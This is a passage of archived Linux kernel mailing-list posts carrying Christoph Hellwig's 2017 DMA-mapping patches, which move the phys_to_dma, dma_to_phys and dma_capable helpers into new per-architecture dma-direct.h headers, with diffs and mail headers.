Xref: news.gmane.org gmane.linux.kernel.iommu:21888 gmane.linux.ports.mips.general:62931 gmane.linux.ports.ia64:28398 gmane.linux.ports.sh.devel:56044 gmane.linux.ports.sparc:27051 gmane.linux.kernel.cross-arch:40791 gmane.linux.ports.hexagon:1408 gmane.linux.kernel.arc:3176 gmane.linux.kernel.metag:1482 gmane.linux.ports.arm.kernel:622901 gmane.linux.ports.parisc:28073 gmane.linux.kernel:2654217 gmane.linux.ports.alpha:4555 gmane.linux.ports.ppc64.devel:151505
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/21888>

Signed-off-by: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
---
 arch/m32r/include/asm/dma-mapping.h | 7 -------
 1 file changed, 7 deletions(-)

diff --git a/arch/m32r/include/asm/dma-mapping.h b/arch/m32r/include/asm/dma-mapping.h
index 336ffe60814b..8967fb659691 100644
--- a/arch/m32r/include/asm/dma-mapping.h
+++ b/arch/m32r/include/asm/dma-mapping.h
@@ -14,11 +14,4 @@ static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
 	return &dma_noop_ops;
 }
 
-static inline bool dma_capable(struct device *dev, dma_addr_t addr, size_t size)
-{
-	if (!dev->dma_mask)
-		return false;
-	return addr + size - 1 <= *dev->dma_mask;
-}
-
 #endif /* _ASM_M32R_DMA_MAPPING_H */
-- 
2.14.2


From - Thu Nov 08 21:40:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.sh.devel,gmane.linux.kernel.iommu,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel
Subject: [PATCH 13/67] dma-mapping: move swiotlb arch helpers to a new header
Date: Fri, 29 Dec 2017 09:18:17 +0100
Lines: 776
Approved: news@gmane.org
Message-ID: <20171229081911.2802-14-hch@lst.de>
References: <20171229081911.2802-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1514535512 25068 195.159.176.226 (29 Dec 2017 08:18:32 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 29 Dec 2017 08:18:32 +0000 (UTC)
Cc: linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org,
        adi-buildroot-devel@lists.sourceforge.net,
        linux-c6x-dev@linux-c6x.org, linux-cris-kernel@axis.com,
        linux-hexagon@vger.kernel.org, linux-ia64@vger.kernel.org,
        linux-m68k@lists.linux-m68k.org, linux-metag@vger.kernel.org,
        Michal Simek <monstr@monstr.eu>, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        patches@groups.riscv.org, linux-s390@vger.kernel.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        Guan Xuetao <gxt@mprc.pku.edu.cn>, x86@kernel.org,
        linux-arch@vger.kernel.org, linux-kernel@vger.kernel.org
To: iommu@lists.linux-foundation.org
Original-X-From: linux-sh-owner@vger.kernel.org Fri Dec 29 09:18:26 2017
Return-path: <linux-sh-owner@vger.kernel.org>
Envelope-to: glps-linuxsh-dev@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-sh-owner@vger.kernel.org>)
	id 1eUps0-0005z8-2w
	for glps-linuxsh-dev@m.gmane.org; Fri, 29 Dec 2017 09:18:24 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1755869AbdL2IUZ (ORCPT <rfc822;glps-linuxsh-dev@m.gmane.org>);
        Fri, 29 Dec 2017 03:20:25 -0500
Original-Received: from bombadil.infradead.org ([65.50.211.133]:52271 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1755817AbdL2IUS (ORCPT
        <rfc822;linux-sh@vger.kernel.org>); Fri, 29 Dec 2017 03:20:18 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=qM++Wa2jJmOPFjr8F/HGiKnN3j/QbWN+sBg5B1BBVo0=; b=tpt29rYPgSqEvxy1NVbSkpVXk
        hsqq0NLWcybiB66OQV2y6B9DFcI7wxYriy8KBw4fO1GZf2EXX0dAEbz9z03+PHivEjQhOrfoJGTwM
        bbLEdS0gOpU8r0PiI468G8Zj52aYs1TulLVc30GhdWW7UVjdGoTzJGXB+HuML1cAIz10nFTcEQH0t
        XbqZZE6jz7ZqBC4SvC057fJ35QW4zEshLRh5BgFcvtgsQcAjqPXEvjPACgwAQDAqfgjuH7sM6t00m
        p9S2DM8Gb5vX5/7/ojN0aFBE1hWMjLytcKVuIq80q07cPbahADXmwAyclbYTRYM7i5UlWllrAj/WH
    
Original-Received: from 77.117.237.29.wireless.dyn.drei.com ([77.117.237.29] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
        id 1eUptm-0000XA-7n; Fri, 29 Dec 2017 08:20:15 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20171229081911.2802-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-sh-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-sh.vger.kernel.org>
X-Mailing-List: linux-sh@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sh.devel:56045 gmane.linux.kernel.iommu:21889 gmane.linux.ports.alpha:4556 gmane.linux.kernel.arc:3177 gmane.linux.ports.arm.kernel:622902 gmane.linux.ports.hexagon:1409 gmane.linux.ports.ia64:28399 gmane.linux.kernel.metag:1483 gmane.linux.ports.mips.general:62932 gmane.linux.ports.parisc:28074 gmane.linux.ports.ppc64.devel:151506 gmane.linux.ports.sparc:27052 gmane.linux.kernel.cross-arch:40792 gmane.linux.kernel:2654218
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sh.devel/56045>

phys_to_dma, dma_to_phys and dma_capable are helpers published by
architecture code for use of swiotlb and xen-swiotlb only.  Drivers are
not supposed to use these directly, but use the DMA API instead.

Move these to a new asm/dma-direct.h helper, included by a
linux/dma-direct.h wrapper that provides the default linear mapping
unless the architecture wants to override it.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 MAINTAINERS                                        |  1 +
 arch/Kconfig                                       |  4 +++
 arch/arm/Kconfig                                   |  1 +
 arch/arm/include/asm/dma-direct.h                  | 36 ++++++++++++++++++++++
 arch/arm/include/asm/dma-mapping.h                 | 31 -------------------
 arch/arm64/include/asm/dma-mapping.h               | 22 -------------
 arch/arm64/mm/dma-mapping.c                        |  2 +-
 arch/ia64/include/asm/dma-mapping.h                | 18 -----------
 arch/mips/Kconfig                                  |  2 ++
 arch/mips/include/asm/dma-direct.h                 |  1 +
 arch/mips/include/asm/dma-mapping.h                |  8 -----
 .../include/asm/mach-cavium-octeon/dma-coherence.h |  8 +++++
 arch/mips/include/asm/mach-generic/dma-coherence.h | 12 --------
 .../include/asm/mach-loongson64/dma-coherence.h    |  8 +++++
 arch/powerpc/Kconfig                               |  1 +
 arch/powerpc/include/asm/dma-direct.h              | 29 +++++++++++++++++
 arch/powerpc/include/asm/dma-mapping.h             | 25 ---------------
 arch/tile/include/asm/dma-mapping.h                | 18 -----------
 arch/unicore32/include/asm/dma-mapping.h           | 18 -----------
 arch/x86/Kconfig                                   |  1 +
 arch/x86/include/asm/dma-direct.h                  | 30 ++++++++++++++++++
 arch/x86/include/asm/dma-mapping.h                 | 26 ----------------
 arch/x86/kernel/amd_gart_64.c                      |  1 +
 arch/x86/kernel/pci-dma.c                          |  2 +-
 arch/x86/kernel/pci-nommu.c                        |  2 +-
 arch/x86/kernel/pci-swiotlb.c                      |  2 +-
 arch/x86/mm/mem_encrypt.c                          |  2 +-
 arch/x86/pci/sta2x11-fixup.c                       |  1 +
 arch/xtensa/include/asm/dma-mapping.h              | 10 ------
 drivers/crypto/marvell/cesa.c                      |  1 +
 drivers/mtd/nand/qcom_nandc.c                      |  1 +
 drivers/xen/swiotlb-xen.c                          |  2 +-
 include/linux/dma-direct.h                         | 32 +++++++++++++++++++
 lib/swiotlb.c                                      |  2 +-
 34 files changed, 165 insertions(+), 195 deletions(-)
 create mode 100644 arch/arm/include/asm/dma-direct.h
 create mode 100644 arch/mips/include/asm/dma-direct.h
 create mode 100644 arch/powerpc/include/asm/dma-direct.h
 create mode 100644 arch/x86/include/asm/dma-direct.h
 create mode 100644 include/linux/dma-direct.h

diff --git a/MAINTAINERS b/MAINTAINERS
index a6e86e20761e..7521b063b499 100644
--- a/MAINTAINERS
+++ b/MAINTAINERS
@@ -4340,6 +4340,7 @@ F:	lib/dma-noop.c
 F:	lib/dma-virt.c
 F:	drivers/base/dma-mapping.c
 F:	drivers/base/dma-coherent.c
+F:	include/linux/dma-direct.h
 F:	include/linux/dma-mapping.h
 
 DME1737 HARDWARE MONITOR DRIVER
diff --git a/arch/Kconfig b/arch/Kconfig
index 400b9e1b2f27..3edf118ad777 100644
--- a/arch/Kconfig
+++ b/arch/Kconfig
@@ -938,6 +938,10 @@ config STRICT_MODULE_RWX
 	  and non-text memory will be made non-executable. This provides
 	  protection against certain security exploits (e.g. writing to text)
 
+# select if the architecture provides an asm/dma-direct.h header
+config ARCH_HAS_PHYS_TO_DMA
+	bool
+
 config ARCH_HAS_REFCOUNT
 	bool
 	help
diff --git a/arch/arm/Kconfig b/arch/arm/Kconfig
index 51c8df561077..00d889a37965 100644
--- a/arch/arm/Kconfig
+++ b/arch/arm/Kconfig
@@ -8,6 +8,7 @@ config ARM
 	select ARCH_HAS_DEVMEM_IS_ALLOWED
 	select ARCH_HAS_ELF_RANDOMIZE
 	select ARCH_HAS_SET_MEMORY
+	select ARCH_HAS_PHYS_TO_DMA
 	select ARCH_HAS_STRICT_KERNEL_RWX if MMU && !XIP_KERNEL
 	select ARCH_HAS_STRICT_MODULE_RWX if MMU
 	select ARCH_HAS_TICK_BROADCAST if GENERIC_CLOCKEVENTS_BROADCAST
diff --git a/arch/arm/include/asm/dma-direct.h b/arch/arm/include/asm/dma-direct.h
new file mode 100644
index 000000000000..5b0a8a421894
--- /dev/null
+++ b/arch/arm/include/asm/dma-direct.h
@@ -0,0 +1,36 @@
+/* SPDX-License-Identifier: GPL-2.0 */
+#ifndef ASM_ARM_DMA_DIRECT_H
+#define ASM_ARM_DMA_DIRECT_H 1
+
+static inline dma_addr_t phys_to_dma(struct device *dev, phys_addr_t paddr)
+{
+	unsigned int offset = paddr & ~PAGE_MASK;
+	return pfn_to_dma(dev, __phys_to_pfn(paddr)) + offset;
+}
+
+static inline phys_addr_t dma_to_phys(struct device *dev, dma_addr_t dev_addr)
+{
+	unsigned int offset = dev_addr & ~PAGE_MASK;
+	return __pfn_to_phys(dma_to_pfn(dev, dev_addr)) + offset;
+}
+
+static inline bool dma_capable(struct device *dev, dma_addr_t addr, size_t size)
+{
+	u64 limit, mask;
+
+	if (!dev->dma_mask)
+		return 0;
+
+	mask = *dev->dma_mask;
+
+	limit = (mask + 1) & ~mask;
+	if (limit && size > limit)
+		return 0;
+
+	if ((addr | (addr + size - 1)) & ~mask)
+		return 0;
+
+	return 1;
+}
+
+#endif /* ASM_ARM_DMA_DIRECT_H */
diff --git a/arch/arm/include/asm/dma-mapping.h b/arch/arm/include/asm/dma-mapping.h
index daf837423a76..5fb1b7fbdfbe 100644
--- a/arch/arm/include/asm/dma-mapping.h
+++ b/arch/arm/include/asm/dma-mapping.h
@@ -109,37 +109,6 @@ static inline bool is_device_dma_coherent(struct device *dev)
 	return dev->archdata.dma_coherent;
 }
 
-static inline dma_addr_t phys_to_dma(struct device *dev, phys_addr_t paddr)
-{
-	unsigned int offset = paddr & ~PAGE_MASK;
-	return pfn_to_dma(dev, __phys_to_pfn(paddr)) + offset;
-}
-
-static inline phys_addr_t dma_to_phys(struct device *dev, dma_addr_t dev_addr)
-{
-	unsigned int offset = dev_addr & ~PAGE_MASK;
-	return __pfn_to_phys(dma_to_pfn(dev, dev_addr)) + offset;
-}
-
-static inline bool dma_capable(struct device *dev, dma_addr_t addr, size_t size)
-{
-	u64 limit, mask;
-
-	if (!dev->dma_mask)
-		return 0;
-
-	mask = *dev->dma_mask;
-
-	limit = (mask + 1) & ~mask;
-	if (limit && size > limit)
-		return 0;
-
-	if ((addr | (addr + size - 1)) & ~mask)
-		return 0;
-
-	return 1;
-}
-
 static inline void dma_mark_clean(void *addr, size_t size) { }
 
 /**
diff --git a/arch/arm64/include/asm/dma-mapping.h b/arch/arm64/include/asm/dma-mapping.h
index eada887a93bf..400fa67d3b5a 100644
--- a/arch/arm64/include/asm/dma-mapping.h
+++ b/arch/arm64/include/asm/dma-mapping.h
@@ -50,28 +50,6 @@ static inline bool is_device_dma_coherent(struct device *dev)
 	return dev->archdata.dma_coherent;
 }
 
-static inline dma_addr_t phys_to_dma(struct device *dev, phys_addr_t paddr)
-{
-	dma_addr_t dev_addr = (dma_addr_t)paddr;
-
-	return dev_addr - ((dma_addr_t)dev->dma_pfn_offset << PAGE_SHIFT);
-}
-
-static inline phys_addr_t dma_to_phys(struct device *dev, dma_addr_t dev_addr)
-{
-	phys_addr_t paddr = (phys_addr_t)dev_addr;
-
-	return paddr + ((phys_addr_t)dev->dma_pfn_offset << PAGE_SHIFT);
-}
-
-static inline bool dma_capable(struct device *dev, dma_addr_t addr, size_t size)
-{
-	if (!dev->dma_mask)
-		return false;
-
-	return addr + size - 1 <= *dev->dma_mask;
-}
-
 static inline void dma_mark_clean(void *addr, size_t size)
 {
 }
diff --git a/arch/arm64/mm/dma-mapping.c b/arch/arm64/mm/dma-mapping.c
index b45c5bcaeccb..f3a637b98487 100644
--- a/arch/arm64/mm/dma-mapping.c
+++ b/arch/arm64/mm/dma-mapping.c
@@ -24,7 +24,7 @@
 #include <linux/export.h>
 #include <linux/slab.h>
 #include <linux/genalloc.h>
-#include <linux/dma-mapping.h>
+#include <linux/dma-direct.h>
 #include <linux/dma-contiguous.h>
 #include <linux/vmalloc.h>
 #include <linux/swiotlb.h>
diff --git a/arch/ia64/include/asm/dma-mapping.h b/arch/ia64/include/asm/dma-mapping.h
index c1bab526a046..eabee56d995c 100644
--- a/arch/ia64/include/asm/dma-mapping.h
+++ b/arch/ia64/include/asm/dma-mapping.h
@@ -27,22 +27,4 @@ static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
 	return platform_dma_get_ops(NULL);
 }
 
-static inline bool dma_capable(struct device *dev, dma_addr_t addr, size_t size)
-{
-	if (!dev->dma_mask)
-		return 0;
-
-	return addr + size - 1 <= *dev->dma_mask;
-}
-
-static inline dma_addr_t phys_to_dma(struct device *dev, phys_addr_t paddr)
-{
-	return paddr;
-}
-
-static inline phys_addr_t dma_to_phys(struct device *dev, dma_addr_t daddr)
-{
-	return daddr;
-}
-
 #endif /* _ASM_IA64_DMA_MAPPING_H */
diff --git a/arch/mips/Kconfig b/arch/mips/Kconfig
index 350a990fc719..4b0c26b2e9b7 100644
--- a/arch/mips/Kconfig
+++ b/arch/mips/Kconfig
@@ -429,6 +429,7 @@ config MACH_LOONGSON32
 
 config MACH_LOONGSON64
 	bool "Loongson-2/3 family of machines"
+	select ARCH_HAS_PHYS_TO_DMA
 	select SYS_SUPPORTS_ZBOOT
 	help
 	  This enables the support of Loongson-2/3 family of machines.
@@ -877,6 +878,7 @@ config MIKROTIK_RB532
 config CAVIUM_OCTEON_SOC
 	bool "Cavium Networks Octeon SoC based boards"
 	select CEVT_R4K
+	select ARCH_HAS_PHYS_TO_DMA
 	select ARCH_PHYS_ADDR_T_64BIT
 	select DMA_COHERENT
 	select SYS_SUPPORTS_64BIT_KERNEL
diff --git a/arch/mips/include/asm/dma-direct.h b/arch/mips/include/asm/dma-direct.h
new file mode 100644
index 000000000000..f32f15530aba
--- /dev/null
+++ b/arch/mips/include/asm/dma-direct.h
@@ -0,0 +1 @@
+#include <asm/dma-coherence.h>
diff --git a/arch/mips/include/asm/dma-mapping.h b/arch/mips/include/asm/dma-mapping.h
index 0d9418d264f9..676c14cfc580 100644
--- a/arch/mips/include/asm/dma-mapping.h
+++ b/arch/mips/include/asm/dma-mapping.h
@@ -17,14 +17,6 @@ static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
 	return mips_dma_map_ops;
 }
 
-static inline bool dma_capable(struct device *dev, dma_addr_t addr, size_t size)
-{
-	if (!dev->dma_mask)
-		return false;
-
-	return addr + size <= *dev->dma_mask;
-}
-
 static inline void dma_mark_clean(void *addr, size_t size) {}
 
 #define arch_setup_dma_ops arch_setup_dma_ops
diff --git a/arch/mips/include/asm/mach-cavium-octeon/dma-coherence.h b/arch/mips/include/asm/mach-cavium-octeon/dma-coherence.h
index 9110988b92a1..f00833acb626 100644
--- a/arch/mips/include/asm/mach-cavium-octeon/dma-coherence.h
+++ b/arch/mips/include/asm/mach-cavium-octeon/dma-coherence.h
@@ -61,6 +61,14 @@ static inline void plat_post_dma_flush(struct device *dev)
 {
 }
 
+static inline bool dma_capable(struct device *dev, dma_addr_t addr, size_t size)
+{
+	if (!dev->dma_mask)
+		return false;
+
+	return addr + size <= *dev->dma_mask;
+}
+
 dma_addr_t phys_to_dma(struct device *dev, phys_addr_t paddr);
 phys_addr_t dma_to_phys(struct device *dev, dma_addr_t daddr);
 
diff --git a/arch/mips/include/asm/mach-generic/dma-coherence.h b/arch/mips/include/asm/mach-generic/dma-coherence.h
index 61addb1677e9..8ad7a40ca786 100644
--- a/arch/mips/include/asm/mach-generic/dma-coherence.h
+++ b/arch/mips/include/asm/mach-generic/dma-coherence.h
@@ -70,16 +70,4 @@ static inline void plat_post_dma_flush(struct device *dev)
 }
 #endif
 
-#ifdef CONFIG_SWIOTLB
-static inline dma_addr_t phys_to_dma(struct device *dev, phys_addr_t paddr)
-{
-	return paddr;
-}
-
-static inline phys_addr_t dma_to_phys(struct device *dev, dma_addr_t daddr)
-{
-	return daddr;
-}
-#endif
-
 #endif /* __ASM_MACH_GENERIC_DMA_COHERENCE_H */
diff --git a/arch/mips/include/asm/mach-loongson64/dma-coherence.h b/arch/mips/include/asm/mach-loongson64/dma-coherence.h
index 1602a9e9e8c2..5cfda8f893e9 100644
--- a/arch/mips/include/asm/mach-loongson64/dma-coherence.h
+++ b/arch/mips/include/asm/mach-loongson64/dma-coherence.h
@@ -17,6 +17,14 @@
 
 struct device;
 
+static inline bool dma_capable(struct device *dev, dma_addr_t addr, size_t size)
+{
+	if (!dev->dma_mask)
+		return false;
+
+	return addr + size <= *dev->dma_mask;
+}
+
 extern dma_addr_t phys_to_dma(struct device *dev, phys_addr_t paddr);
 extern phys_addr_t dma_to_phys(struct device *dev, dma_addr_t daddr);
 static inline dma_addr_t plat_map_dma_mem(struct device *dev, void *addr,
diff --git a/arch/powerpc/Kconfig b/arch/powerpc/Kconfig
index c51e6ce42e7a..887285eb684a 100644
--- a/arch/powerpc/Kconfig
+++ b/arch/powerpc/Kconfig
@@ -139,6 +139,7 @@ config PPC
 	select ARCH_HAS_ELF_RANDOMIZE
 	select ARCH_HAS_FORTIFY_SOURCE
 	select ARCH_HAS_GCOV_PROFILE_ALL
+	select ARCH_HAS_PHYS_TO_DMA
 	select ARCH_HAS_PMEM_API                if PPC64
 	select ARCH_HAS_SCALED_CPUTIME		if VIRT_CPU_ACCOUNTING_NATIVE
 	select ARCH_HAS_SG_CHAIN
diff --git a/arch/powerpc/include/asm/dma-direct.h b/arch/powerpc/include/asm/dma-direct.h
new file mode 100644
index 000000000000..a5b59c765426
--- /dev/null
+++ b/arch/powerpc/include/asm/dma-direct.h
@@ -0,0 +1,29 @@
+/* SPDX-License-Identifier: GPL-2.0 */
+#ifndef ASM_POWERPC_DMA_DIRECT_H
+#define ASM_POWERPC_DMA_DIRECT_H 1
+
+static inline bool dma_capable(struct device *dev, dma_addr_t addr, size_t size)
+{
+#ifdef CONFIG_SWIOTLB
+	struct dev_archdata *sd = &dev->archdata;
+
+	if (sd->max_direct_dma_addr && addr + size > sd->max_direct_dma_addr)
+		return false;
+#endif
+
+	if (!dev->dma_mask)
+		return false;
+
+	return addr + size - 1 <= *dev->dma_mask;
+}
+
+static inline dma_addr_t phys_to_dma(struct device *dev, phys_addr_t paddr)
+{
+	return paddr + get_dma_offset(dev);
+}
+
+static inline phys_addr_t dma_to_phys(struct device *dev, dma_addr_t daddr)
+{
+	return daddr - get_dma_offset(dev);
+}
+#endif /* ASM_POWERPC_DMA_DIRECT_H */
diff --git a/arch/powerpc/include/asm/dma-mapping.h b/arch/powerpc/include/asm/dma-mapping.h
index 592c7f418aa0..f6ab51205a85 100644
--- a/arch/powerpc/include/asm/dma-mapping.h
+++ b/arch/powerpc/include/asm/dma-mapping.h
@@ -112,31 +112,6 @@ extern int dma_set_mask(struct device *dev, u64 dma_mask);
 
 extern u64 __dma_get_required_mask(struct device *dev);
 
-static inline bool dma_capable(struct device *dev, dma_addr_t addr, size_t size)
-{
-#ifdef CONFIG_SWIOTLB
-	struct dev_archdata *sd = &dev->archdata;
-
-	if (sd->max_direct_dma_addr && addr + size > sd->max_direct_dma_addr)
-		return false;
-#endif
-
-	if (!dev->dma_mask)
-		return false;
-
-	return addr + size - 1 <= *dev->dma_mask;
-}
-
-static inline dma_addr_t phys_to_dma(struct device *dev, phys_addr_t paddr)
-{
-	return paddr + get_dma_offset(dev);
-}
-
-static inline phys_addr_t dma_to_phys(struct device *dev, dma_addr_t daddr)
-{
-	return daddr - get_dma_offset(dev);
-}
-
 #define ARCH_HAS_DMA_MMAP_COHERENT
 
 #endif /* __KERNEL__ */
diff --git a/arch/tile/include/asm/dma-mapping.h b/arch/tile/include/asm/dma-mapping.h
index 97ad62878290..75b8aaa4e70b 100644
--- a/arch/tile/include/asm/dma-mapping.h
+++ b/arch/tile/include/asm/dma-mapping.h
@@ -44,26 +44,8 @@ static inline void set_dma_offset(struct device *dev, dma_addr_t off)
 	dev->archdata.dma_offset = off;
 }
 
-static inline dma_addr_t phys_to_dma(struct device *dev, phys_addr_t paddr)
-{
-	return paddr;
-}
-
-static inline phys_addr_t dma_to_phys(struct device *dev, dma_addr_t daddr)
-{
-	return daddr;
-}
-
 static inline void dma_mark_clean(void *addr, size_t size) {}
 
-static inline bool dma_capable(struct device *dev, dma_addr_t addr, size_t size)
-{
-	if (!dev->dma_mask)
-		return 0;
-
-	return addr + size - 1 <= *dev->dma_mask;
-}
-
 #define HAVE_ARCH_DMA_SET_MASK 1
 int dma_set_mask(struct device *dev, u64 mask);
 
diff --git a/arch/unicore32/include/asm/dma-mapping.h b/arch/unicore32/include/asm/dma-mapping.h
index ac608c2f6af6..5cb250bf2d8c 100644
--- a/arch/unicore32/include/asm/dma-mapping.h
+++ b/arch/unicore32/include/asm/dma-mapping.h
@@ -25,24 +25,6 @@ static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
 	return &swiotlb_dma_map_ops;
 }
 
-static inline bool dma_capable(struct device *dev, dma_addr_t addr, size_t size)
-{
-	if (dev && dev->dma_mask)
-		return addr + size - 1 <= *dev->dma_mask;
-
-	return 1;
-}
-
-static inline dma_addr_t phys_to_dma(struct device *dev, phys_addr_t paddr)
-{
-	return paddr;
-}
-
-static inline phys_addr_t dma_to_phys(struct device *dev, dma_addr_t daddr)
-{
-	return daddr;
-}
-
 static inline void dma_mark_clean(void *addr, size_t size) {}
 
 #endif /* __KERNEL__ */
diff --git a/arch/x86/Kconfig b/arch/x86/Kconfig
index d4fc98c50378..f6f4328103c0 100644
--- a/arch/x86/Kconfig
+++ b/arch/x86/Kconfig
@@ -54,6 +54,7 @@ config X86
 	select ARCH_HAS_FORTIFY_SOURCE
 	select ARCH_HAS_GCOV_PROFILE_ALL
 	select ARCH_HAS_KCOV			if X86_64
+	select ARCH_HAS_PHYS_TO_DMA
 	select ARCH_HAS_PMEM_API		if X86_64
 	# Causing hangs/crashes, see the commit that added this change for details.
 	select ARCH_HAS_REFCOUNT
diff --git a/arch/x86/include/asm/dma-direct.h b/arch/x86/include/asm/dma-direct.h
new file mode 100644
index 000000000000..1295bc622ebe
--- /dev/null
+++ b/arch/x86/include/asm/dma-direct.h
@@ -0,0 +1,30 @@
+/* SPDX-License-Identifier: GPL-2.0 */
+#ifndef ASM_X86_DMA_DIRECT_H
+#define ASM_X86_DMA_DIRECT_H 1
+
+#include <linux/mem_encrypt.h>
+
+#ifdef CONFIG_X86_DMA_REMAP /* Platform code defines bridge-specific code */
+bool dma_capable(struct device *dev, dma_addr_t addr, size_t size);
+dma_addr_t phys_to_dma(struct device *dev, phys_addr_t paddr);
+phys_addr_t dma_to_phys(struct device *dev, dma_addr_t daddr);
+#else
+static inline bool dma_capable(struct device *dev, dma_addr_t addr, size_t size)
+{
+	if (!dev->dma_mask)
+		return 0;
+
+	return addr + size - 1 <= *dev->dma_mask;
+}
+
+static inline dma_addr_t phys_to_dma(struct device *dev, phys_addr_t paddr)
+{
+	return __sme_set(paddr);
+}
+
+static inline phys_addr_t dma_to_phys(struct device *dev, dma_addr_t daddr)
+{
+	return __sme_clr(daddr);
+}
+#endif /* CONFIG_X86_DMA_REMAP */
+#endif /* ASM_X86_DMA_DIRECT_H */
diff --git a/arch/x86/include/asm/dma-mapping.h b/arch/x86/include/asm/dma-mapping.h
index 0350d99bb8fd..dfdc9357a349 100644
--- a/arch/x86/include/asm/dma-mapping.h
+++ b/arch/x86/include/asm/dma-mapping.h
@@ -12,7 +12,6 @@
 #include <asm/io.h>
 #include <asm/swiotlb.h>
 #include <linux/dma-contiguous.h>
-#include <linux/mem_encrypt.h>
 
 #ifdef CONFIG_ISA
 # define ISA_DMA_BIT_MASK DMA_BIT_MASK(24)
@@ -42,31 +41,6 @@ extern void dma_generic_free_coherent(struct device *dev, size_t size,
 				      void *vaddr, dma_addr_t dma_addr,
 				      unsigned long attrs);
 
-#ifdef CONFIG_X86_DMA_REMAP /* Platform code defines bridge-specific code */
-extern bool dma_capable(struct device *dev, dma_addr_t addr, size_t size);
-extern dma_addr_t phys_to_dma(struct device *dev, phys_addr_t paddr);
-extern phys_addr_t dma_to_phys(struct device *dev, dma_addr_t daddr);
-#else
-
-static inline bool dma_capable(struct device *dev, dma_addr_t addr, size_t size)
-{
-	if (!dev->dma_mask)
-		return 0;
-
-	return addr + size - 1 <= *dev->dma_mask;
-}
-
-static inline dma_addr_t phys_to_dma(struct device *dev, phys_addr_t paddr)
-{
-	return __sme_set(paddr);
-}
-
-static inline phys_addr_t dma_to_phys(struct device *dev, dma_addr_t daddr)
-{
-	return __sme_clr(daddr);
-}
-#endif /* CONFIG_X86_DMA_REMAP */
-
 static inline unsigned long dma_alloc_coherent_mask(struct device *dev,
 						    gfp_t gfp)
 {
diff --git a/arch/x86/kernel/amd_gart_64.c b/arch/x86/kernel/amd_gart_64.c
index cc0e8bc0ea3f..ecd486cb06ab 100644
--- a/arch/x86/kernel/amd_gart_64.c
+++ b/arch/x86/kernel/amd_gart_64.c
@@ -31,6 +31,7 @@
 #include <linux/io.h>
 #include <linux/gfp.h>
 #include <linux/atomic.h>
+#include <linux/dma-direct.h>
 #include <asm/mtrr.h>
 #include <asm/pgtable.h>
 #include <asm/proto.h>
diff --git a/arch/x86/kernel/pci-dma.c b/arch/x86/kernel/pci-dma.c
index 599d7462eccc..8439e6de6156 100644
--- a/arch/x86/kernel/pci-dma.c
+++ b/arch/x86/kernel/pci-dma.c
@@ -1,5 +1,5 @@
 // SPDX-License-Identifier: GPL-2.0
-#include <linux/dma-mapping.h>
+#include <linux/dma-direct.h>
 #include <linux/dma-debug.h>
 #include <linux/dmar.h>
 #include <linux/export.h>
diff --git a/arch/x86/kernel/pci-nommu.c b/arch/x86/kernel/pci-nommu.c
index 8ac9d1fe0373..8b8ff98486de 100644
--- a/arch/x86/kernel/pci-nommu.c
+++ b/arch/x86/kernel/pci-nommu.c
@@ -1,7 +1,7 @@
 // SPDX-License-Identifier: GPL-2.0
 /* Fallback functions when the main IOMMU code is not compiled in. This
    code is roughly equivalent to i386. */
-#include <linux/dma-mapping.h>
+#include <linux/dma-direct.h>
 #include <linux/scatterlist.h>
 #include <linux/string.h>
 #include <linux/gfp.h>
diff --git a/arch/x86/kernel/pci-swiotlb.c b/arch/x86/kernel/pci-swiotlb.c
index 53bd05ea90d8..9d3e35c33d94 100644
--- a/arch/x86/kernel/pci-swiotlb.c
+++ b/arch/x86/kernel/pci-swiotlb.c
@@ -6,7 +6,7 @@
 #include <linux/init.h>
 #include <linux/swiotlb.h>
 #include <linux/bootmem.h>
-#include <linux/dma-mapping.h>
+#include <linux/dma-direct.h>
 #include <linux/mem_encrypt.h>
 
 #include <asm/iommu.h>
diff --git a/arch/x86/mm/mem_encrypt.c b/arch/x86/mm/mem_encrypt.c
